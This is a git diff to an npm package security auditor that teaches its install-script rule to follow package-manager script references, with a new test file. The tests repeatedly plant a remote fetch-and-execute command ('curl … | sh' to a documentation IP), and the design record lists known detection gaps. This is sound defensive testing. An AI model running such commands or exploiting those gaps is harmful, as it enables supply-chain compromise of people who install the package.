diff --git a/docs/adr/0056-security-audit-hardening.md b/docs/adr/0056-security-audit-hardening.md index f695ab6..2e18b58 100644 --- a/docs/adr/0056-security-audit-hardening.md +++ b/docs/adr/0056-security-audit-hardening.md @@ -280,8 +280,10 @@ and `transferRequestBytes` take `currentChallengeId`. critical finding, and re-import is refused once native history exists. The operator's remedy is a policy exception for that name (or relaxing the repository constraint) until a new release is published with provenance. -- Detection gaps left for follow-up: `npm run ` is not followed into - `scripts[]`, `.`/`source` are not treated as interpreters, bare +- Detection gaps left for follow-up (`npm run ` was closed in #85, by deliberate over-following: + after `npm`, `pnpm`, `yarn` or `bun`, every word that names a defined script is followed with its + `pre`/`post` scripts, each script once from a worklist, and its body gets the hook's inline-danger + check; `AUDIT_REVISION` is 3): `.`/`source` are not treated as interpreters, bare `-r`/`NODE_OPTIONS` specifiers and extension-less preload paths are not resolved, command words are not looked up in bundled `node_modules/.bin`, and the overflow fallback stays regex-based. Other rules still scan those diff --git a/packages/core/src/audit.ts b/packages/core/src/audit.ts index e296a5b..33432ba 100644 --- a/packages/core/src/audit.ts +++ b/packages/core/src/audit.ts @@ -26,7 +26,7 @@ import type { VulnAdvisory } from "./vuln-corpus.js"; export const ENGINE_VERSION = "0.1.0-alpha.2"; /** Bump whenever rule or extraction semantics change: cached and stored audits from another revision are recomputed. */ -export const AUDIT_REVISION = 2; +export const AUDIT_REVISION = 3; /** Run the heuristic rule pipeline over an already-extracted package. */ export function runRules(input: AuditInput): Finding[] { diff --git a/packages/core/src/rules/install-scripts.ts b/packages/core/src/rules/install-scripts.ts index d827119..001d0a2 100644 --- a/packages/core/src/rules/install-scripts.ts +++ b/packages/core/src/rules/install-scripts.ts @@ -32,24 +32,30 @@ export const installScriptsRule: Rule = { } const findings: Finding[] = []; - const referencedFiles = makeResolver(input.files); + const referencedFiles = makeResolver(input.files, scripts); for (const hook of LIFECYCLE) { const cmd = scripts[hook]; if (typeof cmd !== "string" || !cmd) continue; // npm ignores non-string hooks; one must not throw the rule away - // What does the lifecycle command itself do? - const inlineDangers = DANGER_IN_SCRIPT.filter((d) => d.re.test(cmd)); + // If it runs a local script file or a package script, inspect those too. + const { files: referenced, scripts: followed } = referencedFiles(cmd); - // If it runs a local script file, inspect that file's contents too. - const referenced = referencedFiles(cmd); + // What does the lifecycle command itself do? Followed script bodies get the same check. + const inlineDangers = DANGER_IN_SCRIPT.filter((d) => d.re.test(cmd)); + const followedDangers = followed.flatMap(([name, body]) => + DANGER_IN_SCRIPT.filter((d) => d.re.test(body)).map((d) => ({ + why: d.why, + ev: { file: "package/package.json", snippet: `"${name}": "${truncate(body, 120)}"` }, + })), + ); const fileDangers = referenced.flatMap((f) => DANGER_IN_SCRIPT.flatMap((d) => scanLines(f, d.re, 2).map((ev) => ({ why: d.why, ev })), ), ); - if (inlineDangers.length === 0 && fileDangers.length === 0) { + if (inlineDangers.length === 0 && fileDangers.length === 0 && followedDangers.length === 0) { findings.push( mkFinding({ ruleId: this.id, @@ -64,10 +70,11 @@ export const installScriptsRule: Rule = { } const reasons = [ - ...new Set([...inlineDangers.map((d) => d.why), ...fileDangers.map((d) => d.why)]), + ...new Set([...inlineDangers, ...followedDangers, ...fileDangers].map((d) => d.why)), ]; const evidence = [ { file: "package/package.json", snippet: `"${hook}": "${truncate(cmd, 120)}"` }, + ...followedDangers.map((d) => d.ev), ...fileDangers.map((d) => d.ev), ]; findings.push( @@ -162,7 +169,7 @@ interface TrieNode { * nothing, and all work is linear in the command and total path length: exact paths * through a Map, JS suffixes through a reverse component trie (O(token components)). */ -function makeResolver(files: PackageFile[]): (cmd: string) => PackageFile[] { +function makeResolver(files: PackageFile[], scripts: Record): (cmd: string) => { files: PackageFile[]; scripts: [string, string][] } { let byPath: Map | undefined; let trie: TrieNode | undefined; const exact = (p: string) => (byPath ??= new Map(files.map((f) => [f.path, f] as const))).get(p); @@ -222,7 +229,41 @@ function makeResolver(files: PackageFile[]): (cmd: string) => PackageFile[] { const isPrefix = (words: string[], i: number) => /^[A-Za-z_]\w*=/.test(words[i]!) || WRAPPERS.has(words[i]!) || (i > 0 && WRAPPERS.has(words[i - 1]!) && words[i]!.startsWith("-")); - /** Scan one command line; `sh -c ""` code is scanned again as a command line (depth-bounded, so linear). */ + // Package scripts reached from a command line, scanned from a worklist (not recursion): each name once, so + // the work is bounded by the number of scripts and a long chain cannot overflow the stack. + let visited = new Set(); + let queue: [string, string][] = []; + const enqueue = (n: string) => { + const body = Object.hasOwn(scripts, n) ? scripts[n] : undefined; + if (typeof body === "string" && !visited.has(n)) { visited.add(n); queue.push([n, body]); } + }; + /** + * Deliberate over-following: after `npm`/`pnpm`/`yarn`/`bun`, every word is treated as a script name, and + * so is each script a built-in command of that name runs (`PM_COMMANDS`). Each gets its `pre`/`post` scripts. + * Undefined names are skipped by `enqueue`. A script that does not run costs a false positive only if it is + * itself dangerous; missing one that runs is a bypass. + */ + const followScriptWords = (words: string[], from: number, out: Set): void => { + // Any package-manager invocation may run the install lifecycle (`npm ci`, bare `yarn`, an alias nobody listed). + for (const n of INSTALL_SCRIPTS) { enqueue(`pre${n}`); enqueue(n); enqueue(`post${n}`); } // npm runs preprepare/postprepare too + for (let j = from; j < words.length; j++) { + const w = words[j]!; + for (const x of [w, ...(PM_COMMANDS.get(w) ?? [])]) { + enqueue(`pre${x}`); + enqueue(x); + enqueue(`post${x}`); + } + // `npm start` with no `start` script runs `node server.js`. + if ((w === "start" || w === "restart") && !(Object.hasOwn(scripts, "start") && typeof scripts.start === "string" && scripts.start !== "")) { + const hit = exact("package/server.js"); + if (hit) out.add(hit); + } + } + }; + + /** + * Scan one command line; `sh -c ""` code is scanned again as a command line (depth-bounded, so linear). + */ const scan = (cmd: string, out: Set, depth: number): void => { // Quote tracking can only ADD coverage: a stray apostrophe (`# it's`) must not hide later commands, // so the plain split is scanned too, and `$(...)` / backtick bodies are scanned as command lines. @@ -253,6 +294,7 @@ function makeResolver(files: PackageFile[]): (cmd: string) => PackageFile[] { if (!command) continue; const name = trimPunct(command); const interpreter = name.slice(name.lastIndexOf("/") + 1); + if (PACKAGE_MANAGERS.has(interpreter)) followScriptWords(words, i + 1, out); const inline = Object.hasOwn(INLINE_FLAG, interpreter) ? INLINE_FLAG[interpreter] : undefined; // The command word itself may be a package script (`./setup`). if (!inline) { @@ -325,12 +367,27 @@ function makeResolver(files: PackageFile[]): (cmd: string) => PackageFile[] { return (cmd) => { const out = new Set(); + visited = new Set(); + queue = []; scan(cmd, out, 0); - return [...out]; + for (let q = 0; q < queue.length; q++) scan(queue[q]![1], out, 0); // the queue grows while it is read + return { files: [...out], scripts: queue }; }; } const MAX_INLINE_DEPTH = 3; +const PACKAGE_MANAGERS = new Set(["npm", "pnpm", "yarn", "bun"]); +// Scripts a built-in package-manager command runs besides the script of its own name (npm lifecycle). +const INSTALL_SCRIPTS = ["preinstall", "install", "postinstall", "prepublish", "prepare"]; +const PM_COMMANDS = new Map([ + ...["t", "tst"].map((c) => [c, ["test"]] as [string, string[]]), + // Install scripts are followed for every package-manager command, so install aliases need no entry. + ...["it", "install-test", "cit", "install-ci-test", "clean-install-test", "sit"].map((c) => [c, ["test"]] as [string, string[]]), + ["restart", ["restart", "stop", "start"]], + ["pack", ["prepack", "prepare", "postpack"]], + ["publish", ["prepublishOnly", "prepack", "prepare", "postpack", "publish", "postpublish"]], + ...["version", "verison"].map((c) => [c, ["preversion", "version", "postversion"]] as [string, string[]]), +]); const isPunct = (c: string | undefined) => c === "(" || c === ")" || c === '"' || c === "'" || c === "`"; /** Trim quote/paren punctuation from both ends with two pointers (a `)+$` regex is quadratic on `)))…x`). */ diff --git a/packages/core/test/security-npm-run.test.ts b/packages/core/test/security-npm-run.test.ts new file mode 100644 index 0000000..bb66515 --- /dev/null +++ b/packages/core/test/security-npm-run.test.ts @@ -0,0 +1,161 @@ +import assert from "node:assert/strict"; +import { describe, test } from "node:test"; +import { runRules } from "../src/index.js"; +import type { AuditInput, PackageFile } from "../src/types.js"; + +// A lifecycle hook that hands a script name to a package manager is followed into `scripts[]`. +// Following is deliberately generous: a defined script named anywhere after npm/pnpm/yarn/bun is scanned. + +const CURL_SH = "curl -s http://198.51.100.1/x | sh"; // RFC 5737 documentation address + +function file(path: string, content: string): PackageFile { + return { path, content, size: Buffer.byteLength(content), changed: false }; +} +function inputFor(files: Record, pkgJson: object): AuditInput { + const list = Object.entries(files).map(([p, c]) => file(p, c)); + list.push(file("package/package.json", JSON.stringify(pkgJson))); + return { + meta: { + name: "probe", version: "1.0.0", author: null, maintainers: [], license: null, + hasInstallScripts: false, signature: "unknown", provenance: "unknown", integrity: null, + unpackedSize: 0, fileCount: list.length, + }, + files: list, + mode: "full", + }; +} +const findings = (scripts: Record, files: Record = {}) => + runRules(inputFor(files, { scripts })).filter((x) => x.ruleId === "install-scripts"); +const sev = (scripts: Record, files: Record = {}) => findings(scripts, files).map((x) => x.severity); + +// `setup` runs an inline payload (no setup.js file, so only script lookup can find it). +const via = (hook: string, extra: Record = {}) => sev({ postinstall: hook, setup: CURL_SH, ...extra }); + +describe("install hooks follow package-manager script references", () => { + const forms: [string, string][] = [ + ["npm run", "npm run setup"], + ["pnpm run", "pnpm run setup"], + ["yarn run", "yarn run setup"], + ["yarn ", "yarn setup"], + ["pnpm ", "pnpm setup"], + ["bun run", "bun run setup"], + ["bun ", "bun setup"], + ["npm run -- x", "npm run -- setup"], + ["npm --prefix . run x", "npm --prefix . run setup"], + ["an unknown option before the name", "npm --made-up-flag run setup"], + ["a name after other arguments", "npm run setup -- --flag"], + ["a compound command", "echo hi && npm run setup"], + ]; + for (const [label, hook] of forms) { + test(`${label}: \`${hook}\` reaches the payload`, () => assert.deepEqual(via(hook), ["critical"])); + } + + test("the evidence names the followed script", () => { + const [f] = findings({ postinstall: "npm run setup", setup: CURL_SH }); + assert.equal(f!.severity, "critical"); + assert.ok(f!.evidence.some((e) => e.snippet.startsWith('"setup":'))); + }); + + test("a file executed by the followed script is scanned", () => { + assert.deepEqual(sev({ postinstall: "npm run setup", setup: "node setup.js" }, { "package/setup.js": `${CURL_SH}\n` }), ["critical"]); + }); + + test("`npm test`, `npm t` and `npm restart` (which also follows stop and start)", () => { + assert.deepEqual(sev({ postinstall: "npm test", test: CURL_SH }), ["critical"]); + assert.deepEqual(sev({ postinstall: "npm t", test: CURL_SH }), ["critical"]); + assert.deepEqual(sev({ postinstall: "npm restart", start: CURL_SH }), ["critical"]); + assert.deepEqual(sev({ postinstall: "npm restart", stop: CURL_SH }), ["critical"]); + }); + + test("pre and post run with the script, and a benign prebuild stays clean", () => { + assert.deepEqual(sev({ postinstall: "npm run build", build: "tsc", prebuild: CURL_SH }), ["critical"]); + assert.deepEqual(sev({ postinstall: "npm run build", build: "tsc", postbuild: CURL_SH }), ["critical"]); + assert.deepEqual(sev({ postinstall: "npm run build", build: "tsc", prebuild: "echo clean" }), ["low"]); + assert.deepEqual(sev({ postinstall: "npm run build", build: "tsc", preother: CURL_SH }), ["low"]); + }); + + test("a benign `build` stays clean, and `yarn install` with no `install` script resolves nothing", () => { + assert.deepEqual(sev({ postinstall: "npm run build", build: "tsc" }), ["low"]); + assert.deepEqual(sev({ postinstall: "yarn install", setup: CURL_SH }), ["low"]); + assert.deepEqual(sev({ postinstall: "npm run setup" }), ["low"]); + }); + + test("words that are not package scripts or follow another command are not followed", () => { + assert.deepEqual(via("echo setup"), ["low"]); + assert.deepEqual(via("npm run constructor"), ["low"]); + assert.deepEqual(via("yarn toString"), ["low"]); + }); + + test("an alias keeps its literal name: `npm run t` follows scripts.t", () => { + assert.deepEqual(sev({ postinstall: "npm run t", t: CURL_SH }), ["critical"]); + assert.deepEqual(sev({ postinstall: "npm t", t: CURL_SH }), ["critical"]); + }); + + test("pre/post are followed whether or not the main script is defined", () => { + assert.deepEqual(sev({ postinstall: "npm run build", prebuild: CURL_SH }), ["critical"]); + assert.deepEqual(sev({ postinstall: "npm test", pretest: CURL_SH }), ["critical"]); + assert.deepEqual(sev({ postinstall: "npm t", posttest: CURL_SH }), ["critical"]); // alias target gets pre/post too + }); + + test("implicit `npm start` runs server.js when scripts.start is undefined", () => { + assert.deepEqual(sev({ postinstall: "npm start" }, { "package/server.js": `${CURL_SH}\n` }), ["critical"]); + assert.deepEqual(sev({ postinstall: "npm restart" }, { "package/server.js": `${CURL_SH}\n` }), ["critical"]); + assert.deepEqual(sev({ postinstall: "npm start", prestart: CURL_SH }), ["critical"]); + assert.deepEqual(sev({ postinstall: "npm start", start: "echo hi" }, { "package/server.js": `${CURL_SH}\n` }), ["low"]); // an explicit start wins + assert.deepEqual(sev({ postinstall: "npm run build" }, { "package/server.js": `${CURL_SH}\n` }), ["low"]); + }); + + test("a command that runs several scripts follows each, and inherited keys are not aliases", () => { + const hooks: [string, string][] = [ + ["npm cit", "test"], ["npm install-ci-test", "test"], + ["npm pack", "prepack"], ["npm pack", "prepare"], ["npm pack", "postpack"], + ["npm publish", "prepublishOnly"], ["npm publish", "postpublish"], ["npm publish", "publish"], + ["npm version", "preversion"], ["npm version", "postversion"], + ["npm ci", "prepare"], ["npm i", "postinstall"], ["npm rebuild", "install"], + ]; + for (const [hook, target] of hooks) { + assert.deepEqual(sev({ preinstall: hook, [target]: CURL_SH }).includes("critical"), true, `${hook} -> ${target}`); + } + assert.deepEqual(sev({ postinstall: "npm run constructor" }), ["low"]); + assert.deepEqual(sev({ postinstall: "npm run __proto__" }), ["low"]); + }); + + test("an empty `start` script does not suppress the server.js fallback", () => { + assert.deepEqual(sev({ postinstall: "npm start", start: "" }, { "package/server.js": `${CURL_SH}\n` }), ["critical"]); + }); + + test("`cit`, the install aliases, `verison` and an unknown subcommand reach their lifecycle scripts", () => { + for (const hook of ["npm cit", "npm install-ci-test", "npm add left-pad", "npm isntall", "npm frobnicate", "npm run setup"]) { + assert.deepEqual(sev({ postinstall: hook, prepare: CURL_SH }), ["critical"], `${hook} -> prepare`); + } + assert.deepEqual(sev({ postinstall: "npm verison", postversion: CURL_SH }), ["critical"]); + assert.deepEqual(sev({ postinstall: "npm cit", test: CURL_SH }), ["critical"]); + }); + + test("any package-manager invocation follows the install lifecycle scripts", () => { + assert.deepEqual(sev({ postinstall: "npm ci", prepublish: CURL_SH }), ["critical"]); + assert.deepEqual(sev({ postinstall: "yarn", prepare: CURL_SH }), ["critical"]); + assert.deepEqual(sev({ postinstall: "npm --silent", prepare: CURL_SH }), ["critical"]); + assert.deepEqual(sev({ postinstall: "npm ci", preprepare: CURL_SH }), ["critical"]); + assert.deepEqual(sev({ postinstall: "npm ci", postprepare: CURL_SH }), ["critical"]); + assert.deepEqual(sev({ postinstall: "echo hi", prepare: CURL_SH }), ["low"]); // not a package manager + }); + + test("`sit` and the other install-test aliases reach test", () => { + for (const c of ["sit", "clean-install-test"]) assert.deepEqual(sev({ postinstall: `npm ${c}`, test: CURL_SH }), ["critical"], c); + }); + + test("a self-referencing script terminates", () => { + assert.deepEqual(sev({ postinstall: "npm run a", a: "npm run a" }), ["low"]); + assert.deepEqual(sev({ postinstall: "npm run a", a: "npm run b", b: `npm run a && ${CURL_SH}` }), ["critical"]); + }); + + test("a 20,000-script chain finishes quickly with no stack overflow", () => { + const scripts: Record = { postinstall: "npm run s0" }; + for (let i = 0; i < 20000; i++) scripts[`s${i}`] = `npm run s${i + 1}`; + scripts.s20000 = CURL_SH; + const t0 = Date.now(); + assert.deepEqual(sev(scripts), ["critical"]); + assert.ok(Date.now() - t0 < 2000); + }); +});